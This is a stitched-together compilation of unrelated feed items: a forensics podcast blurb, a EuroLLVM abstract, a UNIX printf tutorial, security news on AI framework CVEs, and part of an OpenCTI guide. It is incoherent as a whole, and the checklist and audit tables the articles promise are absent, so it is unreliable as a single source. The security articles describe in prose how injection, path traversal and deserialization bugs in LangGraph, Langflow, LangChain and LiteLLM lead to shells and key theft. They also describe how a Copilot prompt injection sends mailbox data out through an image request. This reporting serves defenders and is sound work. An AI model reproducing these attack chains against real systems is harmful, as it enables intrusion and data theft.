The conversation then turns to David's final year in policing, when his work on the David Fuller case led him to discover that much of the sexual abuse of corpses he was cataloguing was not actually illegal. David explains how he took that discovery from a Ministry of Justice rejection through a lost bill and a change of government to eventual Royal Assent — a four-year campaign that introduced a new offence and raised the maximum sentence for sexual penetration of a corpse from two to seven years. He closes with frank advice for the next generation of investigators on protecting their own well-being and holding onto an investigative mindset.

#OnlineSafeguarding #InvestigatorWellbeing #LawReform #Policing #MentalHealth #DigitalForensics #DFIR

00:00 Introducing David Shipley
01:20 An Unusual Route Into Safeguarding
03:23 The Scale Of The Problem
06:55 Warrants, Workload And Backlogs
08:40 Triage: You Can't Examine Everything
11:52 What Safeguarding Really Means
14:46 The Hidden Mental Toll
18:21 How Welfare Support Evolved
22:27 Questionnaires And Team Culture
24:58 The Session That Changed My Mind
26:15 The David Fuller Case
29:27 Retiring, Then Returning To Finish The Job
31:51 Continuity And Limiting Exposure
33:50 Discovering The Gap In The Law
36:38 Shock, Duty And Dignity In Death
38:24 Launching The Campaign
41:11 The Ministry Of Justice Says No
44:05 Setbacks, A Lost Bill And A Second Chance
47:00 Royal Assent And Mixed Emotions
50:31 What The New Law Actually Changes
55:32 Advice For The Next Generation
58:08 Closing Reflections

👉 Visit Forensic Focus: https://www.forensicfocus.com

🎧 Video/Transcript: https://www.forensicfocus.com/podcast/david-shipley-investigating-the-darkest-corners-of-digital-evidence/

👉 Follow Forensic Focus
RSS | https://www.forensicfocus.com/feed
YouTube | https://youtube.com/@ForensicFocus
Podcast | https://forensicfocus.com/podcast
LinkedIn Page | https://linkedin.com/company/forensicfocus
LinkedIn Group | https://linkedin.com/groups/693917
X (Twitter) | https://x.com/ForensicFocus
Facebook | https://facebook.com/forensicfocus
Bluesky | https://bsky.app/profile/forensicfocus.bsky.social
Instagram | https://instagram.com/forensicfocus
TikTok | https://tiktok.com/@forensicfocus
Mastodon | https://dfir.social/@forensicfocus

Read more →

The post Third DraftKings Hacker Sentenced to 18 Months in Prison appeared first on IT Security News.

The post Third DraftKings Hacker Sentenced to 18 Months in Prison appeared first on SecurityWeek.

2026 EuroLLVM - Rust or CHERI?

2026 EuroLLVM Developers' Meeting
https://llvm.org/devmtg/2026-04/
------
Title: Rust or CHERI?
Speaker: Edoardo Marangoni
------
Slides: https://llvm.org/devmtg/2026-04/slides/technical_talk/technical_talk_marangoni.pdf
-----
CHERI and Rust may, at first, appear as two mutually exclusive and clashing philosophies that want to solve the same problems. We claim that it is the opposite: Rust and CHERI (and CHERIoT, in particular) are complementary and work best when used together, as Rust provides compile-time guarantees for safe code whereas CHERI provides runtime guarantees for every fragment of unsafe code. In this talk we will show evidence to back our claim, present recent work to bring production-quality Rust support to CHERIoT leveraging the maturity of the CHERIoT port of LLVM and Rust's strict provenance model (which aligns naturally with CHERI's capabilities) and discuss our plans to engage with the Rust and LLVM communities.
-----
Videos Edited by Bash Films: http://www.BashFilms.com

This series is dedicated to exploring little-known—and occasionally useful—trinkets lurking in the dusty corners of UNIX-like operating systems.

The echo command is very useful—it prints the arguments given to it, followed by a newline character. (The newline is sometimes also called a linefeed character depending on who is writing or speaking, and has the ASCII decimal value 10.) It has many uses, either in a script or interactively on the command line. The echo utility is used to display text, the value of a variable, or the result of a pathname expansion. It can also feed text to another command in a pipeline.

As useful as echo is, it should come as no surprise that it first appeared early on in Bell Laboratories' Second Edition UNIX ¹ in 1972. This initial version accepted no options ² —although the manual page doesn't explicitly say output is followed by a newline character, the description of writing "as a line" seems to imply it. In Seventh Edition UNIX, the manual page ³ makes that clear, and also features the addition of the -n option, which causes echo to print the arguments without a trailing newline character. Eighth Edition UNIX's echo ⁴ gained the -e option, which allows certain escape codes from the C programming language to be used.

These variations caused differences in behavior between different versions of echo . Will running echo -n something on your system output the text "something" without a newline, or "-n something" followed by a newline? Things get even trickier when the command arguments include parameter or pathname expansions. If there are files named "-n" and "something" in the current directory, what does echo * output? Like the previous question, that depends on whether or not your version of echo treats -n as an option. You can't get around this ambiguity by quoting or escaping the "*", because that just causes echo to print a literal asterisk.

Example using GNU utilities on Debian 12; both the "echo" utility and the "echo" builtin of bash recognize "-n" as an option.

$ ls -1
-n
something
$ echo *
something$ #Shell prompt is on the same line because "-n" was treated as an option to echo
$ echo "*"
*

The solution was to create a new utility, which is the first UNIX Curio for today: printf . This command allows a user to print text similar to the way the identically-named function works in the C programming language. You run printf ⁵ followed by a format string, followed by zero or more arguments. No newline characters are printed unless specifically indicated by the format string or the arguments.

To use printf to print "something" without a newline, that would just be printf something . This demonstrates that you don't need any arguments—in this example, the format string is just a set of regular characters to be displayed. If you wanted a newline character at the end, printf "something\n" would give you that. (In this case, the format string needs to be quoted so the "\n" isn't interpreted by the shell.) In addition to "\n" for a newline, you can also use "\a" for an alert (rings the terminal bell), "\b" for a backspace, "\f" for a formfeed, "\r" for a carriage return, "\t" for a horizontal tab, "\v" for a vertical tab, and "\\" to get a literal backslash. In addition to these special characters, any arbitrary byte can be included using a backslash followed by one to three octal digits; however, it might be difficult to predict what will be output because it can differ based on the character set the terminal is using. It is safer and more portable to stick to the pre-defined characters if possible.

The real magic of the printf utility comes from using "conversion specifications" in the format string. Probably the simplest of these to explain is the "%s" conversion specification—it represents a string of any length. The command printf "Hi, %s, how are you?\n" followed by a list of names would print the greeting for each name, putting it in the place occupied by the "%s".

$ printf "Hi, %s, how are you?\n" Alice Bob Carol
Hi, Alice, how are you?
Hi, Bob, how are you?
Hi, Carol, how are you?

The format string is reused as many times as needed to consume all of the arguments. Take, for example, the command printf "Hi, %s, have you met %s?\n" . If this is run with two name arguments, it would print the sentence on one line, using both names. If run with four name arguments, it would print the sentence twice, once with the first two names and again with the second two names. If you only gave it three names, the last "%s" conversion specification would be replaced with a null string.

$ printf "Hi, %s, have you met %s?\n" Alice Bob
Hi, Alice, have you met Bob?
$ printf "Hi, %s, have you met %s?\n" Alice Bob Carol David
Hi, Alice, have you met Bob?
Hi, Carol, have you met David?
$ printf "Hi, %s, have you met %s?\n" Alice Bob Carol
Hi, Alice, have you met Bob?
Hi, Carol, have you met ?

Three other items can also be given in each conversion specification: flags, the field width, and the precision. The exact meanings of these depend on which type of conversion specifier character you are using. For "%s", using a "-" as the flag causes the text to be left-justified instead of the default right-justified, a field width causes the printed field to be at least as long as the number given, and a precision limits the number of bytes written from the string to the number given.

$ #Example of %s with a precision value
$ printf "Hi, %.3s, how are you?\n" Alice Bob Carol
Hi, Ali, how are you?
Hi, Bob, how are you?
Hi, Car, how are you?
$ #Example of %s with a field width
$ printf "Hi, %8s, how are you?\n" Alice Bob Carol
Hi,    Alice, how are you?
Hi,      Bob, how are you?
Hi,    Carol, how are you?
$ #Example of %s with a left-justify flag and a field width
$ printf "Hi, %-8s, how are you?\n" Alice Bob Carol
Hi, Alice   , how are you?
Hi, Bob     , how are you?
Hi, Carol   , how are you?
$ #Example of %s with a left-justify flag, a field width, and a precision
$ printf "Hi, %-8.3s, how are you?\n" Alice Bob Carol
Hi, Ali     , how are you?
Hi, Bob     , how are you?
Hi, Car     , how are you?

While "%s" is probably the most commonly-used conversion specification, others are available. A whole set of them are dedicated to printing integer values as a signed decimal, an unsigned decimal, an unsigned octal, or an unsigned hexadecimal number. These also can take flags, a field width, and a precision. I think the details and nuances of all this are too complex to clearly explain here, so I will just refer you to the POSIX "file format notation" specification ⁶ .

Be aware that unlike the printf function in the C programming language, the printf utility is not obligated to accept conversion specifications for floating-point numbers. While some implementations might support this, scripts intended to be portable should limit themselves to the restricted set required by the POSIX standard (%d, %i, %o, %u, %x, %X, %c, and %s, plus %b and %% described below).

Two more conversion specifications are worth mentioning. The first is only required by the standard for the printf utility, not the C function, and is "%b". This is the same as "%s", except that certain backslash escape sequences in the argument will be treated specially. This includes all the ones described above except for the one using octal digits to represent a byte. In an argument, this is instead represented by "\0" followed by one to three octal digits. An additional backslash escape sequence accepted is "\c"—this does not print anything itself, but causes printf to immediately halt output.

The final conversion specification is "%%", which just outputs a literal "%". You can't use a bare "%" in the format string, because printf expects that to introduce a conversion specification. Be careful not to be tripped up by this when trying to print some value as a percentage.

Example assuming that the hypothetical "/dev/batterycharge" file on your laptop outputs the battery charge level (42% in this case). As you can see, in some cases an error message might be displayed, but in others it might just behave in a way you didn't intend without complaining. GNU's "printf" utility and the "printf" builtin of bash both support "%e" as a conversion specification as an extension to POSIX.

$ cat /dev/batterycharge
42
$ #Wrong
$ printf "Your laptop's charge level is $(cat /dev/batterycharge)%.\n"
bash: printf: `\': invalid format character
Your laptop's charge level is 42$ #Shell prompt appears here from the error
$ #Right
$ printf "Your laptop's charge level is $(cat /dev/batterycharge)%%.\n"
Your laptop's charge level is 42%.
$ #Next one treats %e as the specifier, with the space and "l" as flags
$ printf "Your laptop has $(cat /dev/batterycharge)% level of charge.\n"
Your laptop has 42 0.000000e+00vel of charge.
$ #Because no arguments were given, "0" was used for the value to convert

Let's go back to the situation I was describing with echo —we have files named "-n" and "something" in the current directory and want to print all their names, separated by spaces. We could do that with printf "%s " * , which would not treat the "-n" as an option. However, the output might look a little weird because there wouldn't be a newline character at the end. We could insert a newline by using "%b" instead of "%s" and following the asterisk with a "\n\c" as the second argument. The "\c" is there to prevent the final space in the format string from being printed after the newline.

$ ls -1
-n
something
$ printf "%s " *
-n something $ #No newline was printed here
$ printf "%b " * "\n"
-n something
 $ #There's a newline, but also a spurious space before the shell prompt
$ printf "%b " * "\n\c"
-n something
$ #No space before the shell prompt this time

Using the "%b" conversion specification can therefore solve one problem, but it also introduces another. Arguments which include a backslash can be interpreted as escape sequences, and many systems are fine with allowing backslashes in filenames. In cases where you're just using the printf utility to display text, it's usually not a big deal if the output looks a little wonky. Where you really need to be careful is when the text is being piped to another program, as control characters and other oddities might cause unexpected results, and can potentially create security problems if processed by a script or utility running as a privileged user.

$ #GNU "ls" displays filenames containing a backslash in single quotes
$ ls -1
apple
banana
'\cherry'
durian
$ printf "%b " * "\n\c"
apple banana $ #"\c" in "\cherry" stops output immediately

The printf utility looks to have shown up first in 1986's Ninth Edition UNIX ⁷ , though the earliest manual page I could find ⁸ is from the Tenth Edition. Its first appearance in BSD seems to be from 1990 in the 4.3 Reno release ⁹ . Two years later, it was added to Issue 4 of The Open Group's CAE Specification. From what I can tell, it did not seem to be in AT&T's System III—presumably the printf utility did make it into System V at some point but I found it difficult to track this down.

While echo is still suitable for use where you know for certain that you want a newline character printed at the end and none of the arguments will start with a hyphen, consider using the printf utility instead for displaying text. It offers more flexibility and features than you are guaranteed to get with echo , although it does require a bit of forethought in constructing a proper format string and arguments. That is not necessarily a bad thing, because a script's author should be thinking about what might happen if it is called with "strange" text or filenames.

This episode also provides a good case for being careful when naming files—many filesystems will allow you to use hyphens, control characters, quotation marks, and potentially any character other than a slash or a null byte in a filename. As we've seen, some of these characters can create problems for standard utilities. While it can feel limiting, especially for people not using English, the safest filenames to use on a UNIX-like system consist only of characters in the "portable filename character set" as defined by POSIX ¹⁰ and where the first character is not a hyphen. This set includes the lowercase and uppercase letters "a" through "z", the numerals "0" through "9", and the period, underscore, and hyphen. Notably, it does not include the space character.

That leads me to another UNIX Curio that I only just now discovered while researching this episode. This is the pathchk utility ¹¹ . It can be run with one or more strings as arguments, checks each one against a set of rules for pathnames, and outputs an error message for each problem found. By default, it checks against the following limits on the system where it's being run: maximum number of bytes in the full path, maximum number of bytes in any component of the path, all byte sequences must be valid in the given directory, and the user running the program must have access to all directories referenced. If run with the -p option, instead of those limits, it checks against POSIX limits: a maximum of 256 bytes in the full path, a maximum of 14 bytes in each component of the path, and each component must only include characters from the portable set. The -P option adds warnings if any component starts with a "-" or if the pathname is completely empty. While the exit status will tell you if the checks succeeded or not, I don't feel like the pathchk utility is well suited to be used in an automated fashion, as the exact wording of its output is not specified and checks cannot be selected individually. However, it can be used interactively to validate pathnames you aren't sure about. See the linked specification for full details.

References:

1. A Research UNIX Reader: Combined Tables of Contents https://archive.org/details/a_research_unix_reader/page/n99/mode/1up
2. A Research UNIX Reader: Second Edition UNIX echo manual page (although this page has "v1" typed at the top, the date and the tables of contents indicate it first appeared in v2, a.k.a. Second Edition) https://archive.org/details/a_research_unix_reader/page/n22/mode/1up
3. Seventh Edition UNIX echo manual page https://man.cat-v.org/unix_7th/1/echo
4. Eighth Edition UNIX echo manual page https://man.cat-v.org/unix_8th/1/echo
5. Printf specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/printf.html
6. File Format Notation specification https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap05.html
7. A Research UNIX Reader: Ninth Edition Table of Contents https://archive.org/details/a_research_unix_reader/page/n95/mode/1up
8. Tenth Edition UNIX echo/printf manual page https://man.cat-v.org/unix_10th/1/echo
9. 4.3BSD Reno printf manual page https://man.freebsd.org/cgi/man.cgi?query=printf&sektion=1&manpath=4.3BSD+Reno
10. Definitions: Portable Filename Character Set https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap03.html#tag_03_282
11. Pathchk specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pathchk.html

Provide feedback on this episode.

Read more of this story at Slashdot.

That is not a hypothetical. In a few months, three of the most widely deployed AI agent frameworks each turned a known, ordinary bug class into a way through. Check Point Research chained a SQL injection in LangGraph’s SQLite checkpointer to full remote code execution. Tenable and VulnCheck tracked a path traversal in Langflow’s file upload endpoint to active, in-the-wild RCE. Cyera documented a path traversal in LangChain-core’s prompt loader that reads your secrets off disk. Two paths to a shell, one to your keys. They are the same bug, wearing three frameworks.

These frameworks became production infrastructure faster than anyone secured them. They store agent state, take file uploads, load prompt configs, and hold the credentials to databases, CRMs, and internal APIs. The edge tools watch traffic. The endpoint tools watch processes. Neither was built to treat an imported framework as a boundary worth guarding, and that blind spot is exactly where all three chains live, widening every week as these frameworks ship to production.

The LangGraph chain, SQL injection to a Python shell

Start with the one most teams pulled into production this quarter. LangGraph gives AI agents memory through checkpointers, the persistence layer that stores execution state. It has cleared over 50 million downloads a month. Yarden Porat of Check Point Research took that layer apart and found three vulnerabilities. Two of them chain to RCE.

CVE-2025-67644, rated CVSS 7.3, is a SQL injection in the SQLite checkpointer. The function that builds the WHERE clause for checkpoint lookups drops user-controlled filter keys straight into the query with no parameterization and no escaping. This does not hit everyone, but where it hits, it is serious. A deployment is exposed when it self-hosts LangGraph on the SQLite or Redis checkpointer and lets untrusted input reach get_state_history() or a similar history endpoint. Meet those conditions, and an attacker who controls the filter writes a fabricated row straight into the checkpoint table. Run LangChain’s managed LangSmith platform on PostgreSQL, and the exposure is gone.

Then CVE-2026-28277, CVSS 6.8, finishes the job. LangGraph’s msgpack checkpoint decoder rebuilds Python objects from the stored data, which lets it import a module and call a named function with attacker-supplied arguments. That step needs write access to the checkpoint store; the SQL injection is what grants it remotely. LangGraph loads the forged row as a legitimate checkpoint, the decoder runs the specified function, including os.system, and code executes under the identity of the agent server. A third issue, CVE-2026-27022, CVSS 6.5, reaches the same place through the Redis checkpointer.

There has been no confirmed exploitation in the wild yet. A working proof-of-concept is public in Check Point’s disclosure. The fixes are version bumps: langgraph-checkpoint-sqlite to 3.0.1, langgraph to 1.0.10, and langgraph-checkpoint-redis to 1.0.2.

The Langflow chain, one unauthenticated request to RCE

Langflow is the one already under attack. CVE-2026-5027, CVSS 8.8, is a path traversal in the POST /api/v2/files endpoint, which takes the filename straight from the form data and writes it to disk unsanitized. An attacker packs that filename with traversal sequences and drops a file anywhere, such as a cron job in /etc/cron.d/. Because Langflow ships with auto-login enabled in its default configuration, an exposed instance needs no credentials at all. A single unauthenticated request reaches the endpoint, and the next cron run hands over a shell.

VulnCheck’s Caitlin Condon confirmed exploitation on June 9: “Our Canaries observed exploitation of CVE-2026-5027 that successfully leveraged the path traversal to write what appear to be test files on victim systems.” Censys put roughly 7,000 exposed instances on the internet, most in North America. This is the third Langflow flaw to draw active exploitation this year, after CVE-2025-34291, which the Iranian state-sponsored group MuddyWater weaponized and which CISA added to its Known Exploited Vulnerabilities catalog in May. CVE-2026-5027 itself was patched in version 1.9.0, released April 15.

The timeline is what sets the clock. The patch shipped April 15. Attacks started in June, and VulnCheck added CVE-2026-5027 to its exploited-vulnerabilities list June 8 once its sensors caught the first in-the-wild hits. Every instance left unpatched between those two dates has been sitting in the open for almost two months. The lesson for security teams is to start the patch clock at disclosure, not at a federal catalog entry.

The LangChain-core gap, arbitrary file reads through the prompt loader

LangChain-core, the foundation under both, disclosed CVE-2026-34070, CVSS 7.5, a path traversal in its legacy prompt-loading API. The load_prompt() functions read a file path out of a config dict with no check against traversal sequences or absolute paths, so an attacker who influences that path reads arbitrary files the process can reach, including the .env file holding OPENAI_API_KEY and ANTHROPIC_API_KEY. Cyera paired it with CVE-2025-68664, CVSS 9.3, a deserialization flaw that resolves environment secrets through a crafted object. The fix versions differ, which matters when you patch: CVE-2026-34070 lands in langchain-core 1.2.22 and 0.3.86; CVE-2025-68664 lands earlier in 1.2.5 and 0.3.81. Clear both, or the higher-severity flaw stays live behind a patched one.

Three frameworks, three classic AppSec bugs. Path traversal. SQL injection. Unsafe deserialization. Nothing exotic, nothing AI-specific, just old vulnerabilities living inside new infrastructure. None of this is a frontier-model problem. It is plumbing, sitting in the layer where AI meets the enterprise.

Why the scanner cannot see it

Merritt Baer, CSO at Enkrypt AI and former deputy CISO at AWS, has named what makes this kind of failure hard to see coming. It does not announce itself as an AI problem. "CISOs will experience MCP insecurity not in the abstract, but when an employee pastes sensitive data into a tool, or when an attacker finds an unauthenticated MCP server in your cloud," Baer told VentureBeat. "It won't feel like 'AI risk.' It will feel like your traditional security program failing." The framework chains here are the same shape. An exposed Langflow instance is an unauthenticated server in your cloud, and the alert, if one fires, reads like an ordinary incident.

That is the gap in one sentence. The exploit lives in the framework your code imports. The WAF never sees a msgpack decoder running three layers down. The EDR watches the agent server make the same process calls it makes a thousand times a day and waves it through. Both tools are doing their job. Nobody scoped the framework itself as the thing that could turn on you.

The root cause is older than AI, and Baer names it. “MCP is shipping with the same mistake we’ve seen in every major protocol rollout: insecure defaults,” she told VentureBeat. “If we don’t build authentication and least privilege in from day one, we’ll be cleaning up breaches for the next decade.” Langflow’s auto-login is that mistake shipped. LangChain-core’s unguarded prompt loader is that mistake shipped. The convenient default is the vulnerability. And the moment an agent connects to anything, that risk compounds. “You’re not just trusting your own security, you’re inheriting the hygiene of every tool, every credential, every developer in that chain,” Baer said. “That’s a supply chain risk in real time.”

There is a governance failure layered on top of the technical one, and it is the same miscategorization Assaf Keren, chief security officer at Qualtrics and former CISO at PayPal, has flagged in adjacent tooling. “Most security teams still classify experience management platforms as ‘survey tools,’ which sit in the same risk tier as a project management app,” Keren told VentureBeat. “This is a massive miscategorization.” Swap in AI agent frameworks, and it still holds. Teams file LangGraph, Langflow, and LangChain under developer convenience, then wire them into databases, CRMs, and provider keys. “Security has to be an enabler,” Keren said, “or teams route around it.” These frameworks are what routing around it looks like.

Follow the money and it points at the same layer. On its Q1 fiscal 2027 earnings call, CrowdStrike reported its AI detection and response line up more than 250% sequentially, and on June 17 it extended that runtime coverage to agent, LLM, and MCP traffic on AWS. George Kurtz, the company’s co-founder and CEO, named the reason in plain terms: “Agents run on the endpoint. They make tool calls, access files, invoke APIs, and move data at the process level.” That is the exact plumbing these chains abuse, and real money is now moving to the layer your AppSec scan skips.

What to put in front of the board

The board does not need the CVE numbers. It needs the consequence, and Keren draws the line the board cares about. Most teams have mapped the technical blast radius. “But not the business blast radius,” Keren told VentureBeat. “When an AI engine triggers a compensation adjustment based on poisoned data, the damage is not a security incident. It is a wrong business decision executed at machine speed.” A framework RCE is the same problem one layer earlier. The agent does not just leak a credential; it acts on production systems with it, and the business sees an outcome no one can explain.

So frame it the way a board frames it: we run AI agent frameworks in production that can be turned into remote shells through bugs our scanners are not built to find, all three are patched, one is under active attack, and here is the date every instance is verified and closed. None of this required custom malware or a zero-day.

The six-question checklist

Six trust boundaries, one per row, each with the question, the proof point, the command, the fix, and the board line. Run it tonight.

How to read this table: each row is one trust boundary, left to right, from the question to ask to the line to read your board.

Give the board the deadline, not the technology

The fixes are not a re-architecture. They are version bumps and config changes you can land this week. The exposure is the gap between the day the patch shipped and the day your team runs the checks, and right now that gap is measured in months. The frameworks did exactly what they were built to do.

On June 15, Varonis disclosed SearchLeak (CVE-2026-42824), a proof-of-concept exfiltration chain in Microsoft 365 Copilot Enterprise Search. A victim clicks a crafted microsoft.com URL, Copilot searches their mailbox, and the data leaves through a Bing SSRF. No plugins, no second click, no visible indicator. Four days earlier, Obsidian Security published a three-CVE chain against LiteLLM that carried a default low-privilege user all the way to admin and remote code execution. Two tools. Two teams. One broken boundary.

The five-check audit at the end of this article maps each gap to a CVE or a market signal from June, a command you can run before lunch, and a sentence a CISO can read to the board.

Copilot turned a trusted URL into an exfiltration engine

SearchLeak chained three weaknesses into a silent data-theft chain. The URL q parameter fed attacker instructions straight to Copilot’s LLM. A rendering race condition fired an image tag before the output sanitizer ran. Bing’s image-search endpoint, allowlisted in the Content Security Policy, routed the stolen data out. Microsoft rated the flaw critical and patched it on the back end, according to Varonis. NVD has not yet scored it; a third-party tracker lists it at 6.5 medium. The severity is contested, but the mechanism is not.

The escalation is the real story. This is the third Varonis Copilot exfiltration chain in twelve months, after Reprompt in January and EchoLeak in 2025. Reprompt hit Copilot Personal. SearchLeak hit Enterprise Search. Enterprise inherits the user’s full organizational permissions, so the blast radius is everything that a user can reach.

LiteLLM handed a default account to every provider key

The LiteLLM gateway holds the keys for OpenAI, Anthropic, Azure, and Bedrock behind a single proxy. The Obsidian chain runs in three moves. CVE-2026-47101, an authorization bypass, lets a non-admin mint a wildcard API key. CVE-2026-47102 promotes that caller to proxy admin through an unguarded /user/update endpoint. CVE-2026-40217 escapes the code sandbox through exec() with full builtins. Obsidian then demonstrated a reverse shell by injecting a forged tool-call response through LiteLLM’s callback mechanism. Obsidian assessed the combined chain at CVSS 9.9. The developer typed one word. The attacker popped a shell.

A separate LiteLLM flaw made the urgency immediate. CVE-2026-42271, a command-injection bug in the MCP test endpoints, landed on the CISA KEV list on June 8 with a June 22 remediation deadline. That KEV entry is not the Obsidian chain. The two are distinct disclosures four days apart, fixed in different releases, pointed at the same gateway. LiteLLM carries more than 40,000 GitHub stars and sits in thousands of enterprise deployments. This is not the first scare, either. A supply-chain compromise backdoored LiteLLM versions 1.82.7 and 1.82.8 on PyPI in March. A compromised gateway exposes every provider credential the organization holds.

Langflow and Mini Shai-Hulud proved the pattern scales

The same boundary broke in two more tools in the same fortnight. Langflow CVE-2026-5027 became the third Langflow remote-code-execution flaw to hit active exploitation this year. A path traversal in file upload lets an attacker write files anywhere on disk, and because Langflow ships with auto-login enabled by default, a single unauthenticated request reaches RCE. VulnCheck confirmed exploitation on June 9. Censys counted roughly 7,000 exposed instances, the heaviest concentration in North America, with MuddyWater attribution.

The Mini Shai-Hulud campaign hit a different pressure point. After the worm’s source code went public on May 12, copycat variants compromised 32 Red Hat Cloud Services npm packages on June 1, packages pulled 80,000 times a week. The worm harvests more than 20 credential types and self-propagates under the compromised maintainer’s identity.

Four teams, four tools, one operating failure. The bug classes differ. SearchLeak is a prompt injection. LiteLLM is privilege escalation. Langflow is path traversal. Mini Shai-Hulud is supply-chain poisoning. The boundary that broke is the same in all four.

The market already repriced the risk

CrowdStrike’s Q1 FY27 earnings call put a number on the gap. AIDR, the company’s AI detection and response line, grew ending ARR more than 250% sequentially, with a Q2 pipeline above $50 million (SEC-filed 8-K). Total company ARR reached $5.51 billion, and CrowdStrike’s fleet telemetry shows more than 1,800 agentic applications running across enterprise endpoints.

On June 17, the company extended AIDR to AWS, adding real-time evaluation of agent, LLM, and MCP communications across Amazon Bedrock, Kiro, and Strands Agents, building on its work with Anthropic’s Project Glasswing. Daniel Bernard, CrowdStrike’s chief business officer, said the AI attack surface now spans development, runtime, identities, and cloud infrastructure, and that teams treating those as separate domains leave the gaps between them open.

Practitioners name the same gap in plainer terms

David Levin, CISO at American Express Global Business Travel, told VentureBeat the pattern does not surprise him. “We kind of have this shadow AI, which is just the new version of shadow IT,” Levin said.

Both Langflow and LiteLLM fit the description. Teams stood them up for convenience, gave them credentials, and never brought them under governance. Levin puts the fix before deployment. “We didn’t go into this with just saying we’re going to go do this without the right fundamentals,” he said. “We leverage NIST controls. NIST has released their CSF along with their AI framework. OWASP released their top 10. You need the right fundamentals before you deploy.”

Merritt Baer, CSO at Enkrypt AI and former AWS Deputy CISO, named the structural version of the failure in a separate VentureBeat interview. “Enterprises believe they’ve ‘approved’ AI vendors, but what they’ve actually approved is an interface, not the underlying system,” Baer said. “The real dependencies are one or two layers deeper, and those are the ones that fail under stress.” She has tied that directly to how systems fall. “Raw zero-days aren’t how most systems get compromised. Composability is,” Baer told VentureBeat. “It’s the glue between the model and your data where the risk lives. If you give an agent bash and a root token, you’ve already done most of the attacker’s work for them.” That is what rows 2 and 4 of the audit test: the gateway that holds every key, and the agent identity no one governs.

Levin had a sharper frame for the boardroom. “You need to talk more in terms of risk versus compliance to your boards and your executives,” he said. “It’s not about the size of the engineering team anymore. It’s the size of your imagination. It’s all written in plain English. It’s not hard for anyone.” Neither SearchLeak nor LiteLLM needed custom malware or a zero-day to work.

Adam Meyers, CrowdStrike’s SVP of Intelligence, put the operational squeeze in numbers in an exclusive VentureBeat interview. “The problem is not zero-day. The problem is patching. If you 10x that problem, they’re gonna be completely underwater,” Meyers said. He pointed to identity as the second front. “Some of these AI have their own identities, or people give their identity to the AI to take action on their behalf, and that makes it a very complex problem.”

The five-check trust-boundary audit

Each row maps a gap to its proof point, a verification command for Monday morning, the fix, and the sentence to read to the board.

The fix is plumbing, not policy

The June 2 executive order creates an AI Cybersecurity Clearinghouse with a July 2 deadline. The five gaps above are not frontier-model problems. They are plumbing problems in the gateways, orchestration platforms, identity layers, and runtime environments where AI meets the enterprise.

The audit is five rows. Every row maps to a June disclosure or market signal, a command a team can run before lunch, and a sentence a CISO can read to the board. The question is not whether your vendor will patch. It's whether you find the gap first — or whether an attacker finds it the way they found Copilot and LiteLLM.

Transforming Threat Data into High-Confidence Intelligence

In an era of relentless and complex cyber attacks, traditional, manual threat intelligence cannot keep pace. Security teams are overwhelmed by data fragmentation and the critical lack of context. “The Intelligent Shield” introduces a new paradigm: beyond simply ingesting data, it’s about deploying advanced, automated machine learning pipelines for AI-driven enrichment.

This guide demonstrates how to integrate state-of-the-art Large Language Models (LLMs), such as Claude AI, into an OpenCTI ecosystem. By leveraging the OpenCTI STIX 2.1 Knowledge Graph and natural language processing, this architecture converts disparate, unstructured data feeds into high-fidelity, actionable intelligence. It automatically builds context, executes deep mapping to frameworks like the MITRE ATT&CK Matrix, and generates calculated, real-time Confidence Scores, enabling organizations to proactively strengthen their defenses with an intuitive, automated Intelligent Shield.

Table of Contents

1. What is OpenCTI?
2. Core Capabilities
3. Architecture Overview
4. Threat Intelligence Feeds
5. AI Integration Layer
6. Prerequisites
7. Docker Compose Deployment
8. Connector Configuration
9. AI-Driven Enrichment Pipeline
10. Post-Deployment Hardening
11. Operational Runbook
12. Troubleshooting
13. Usage Examples

1. What is OpenCTI?

OpenCTI (Open Cyber Threat Intelligence) is an open-source platform developed by Filigran (formerly a project of ANSSI, the French national cybersecurity agency) for structuring, storing, organizing, visualizing, and sharing cyber threat intelligence (CTI).

It implements the STIX 2.1 (Structured Threat Information eXpression) standard as its native data model and exposes a GraphQL API for all read/write operations. Every object — threat actors, campaigns, malware, vulnerabilities, indicators, attack patterns — is stored as a STIX Domain Object (SDO) or STIX Relationship Object (SRO) backed by two databases:

• ElasticSearch / OpenSearch — full-text search and analytics
• Apache Cassandra (via JanusGraph) — graph relationship storage

Why OpenCTI?

2. Core Capabilities

2.1 Knowledge Graph

• Entities: Threat Actors, Intrusion Sets, Campaigns, Malware, Tools, Vulnerabilities (CVE), Attack Patterns (MITRE ATT&CK), Courses of Action, Sectors, Countries, Organizations
• Relationships modelled as first-class STIX SROs with confidence scores, date ranges, and TLP markings
• Diamond Model and Kill Chain views built in

2.2 Indicator Management

• IOC lifecycle: valid_from / valid_until with automatic expiry
• Detection rule generation (Sigma, YARA, Snort)
• Bulk import via STIX, CSV, OpenIOC, MISP formats
• Scoring and confidence weighting per source

2.3 MITRE ATT&CK Navigator Integration

• Full ATT&CK Enterprise / Mobile / ICS matrices
• Heatmaps of technique usage per threat actor or campaign
• Gap analysis against your current detection coverage

2.4 Threat Actor Profiling

• Attributed aliases, motivations (financial, espionage, hacktivism)
• Geo and sector targeting mapped on world map
• Timeline of campaigns and malware usage

2.5 Automation & Playbooks

• Built-in playbook engine (since v5.9): trigger enrichment, notifications, or SOAR actions on entity creation/modification(Enterprise Edition only)
• Python SDK for custom automation
• Webhook support for external integrations

2.6 Collaboration & Sharing

• Role-based access control (RBAC) with groups and organizations
• TLP (Traffic Light Protocol) enforcement at object level
• TAXII 2.1 server — push feeds to SIEMs, firewalls, EDR platforms
• Sharing with partner organizations via federated instances

2.7 Dashboard & Reporting

• Customizable dashboards with widget library
• PDF report generation
• Timeline, matrix, and entity views
• Attack path visualization

3. Architecture Overview

4. Threat Intelligence Feeds

4.1 Free / Open-Source Feeds

• MITRE ATT&CK — Connector: opencti/connector-mitre — Data: Techniques, mitigations, groups, software — Setup: API key not needed.
• CVE / NVD — Connector: opencti/connector-cve — Data: Vulnerabilities — Setup: NVD API key recommended/required depending on configuration.
• AlienVault OTX — Connector: opencti/connector-alienvault — Data: IOCs, pulses, malware families — Setup: Free OTX account/API key.
• Abuse.ch MalwareBazaar — Connector: opencti/connector-malwarebazaar — Data: Malware hashes, malware metadata, file observables — Setup: Free MalwareBazaar API key.
• Abuse.ch URLhaus — Connector: opencti/connector-urlhaus — Data: Malicious URLs — Setup: Public feed; no API key for CSV feed.
